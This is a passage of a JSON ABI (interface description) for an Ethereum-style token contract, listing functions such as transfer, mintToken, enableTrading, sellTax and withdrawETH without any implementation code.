int256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"chageNameAndSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"listRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mintToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"riap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMinTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]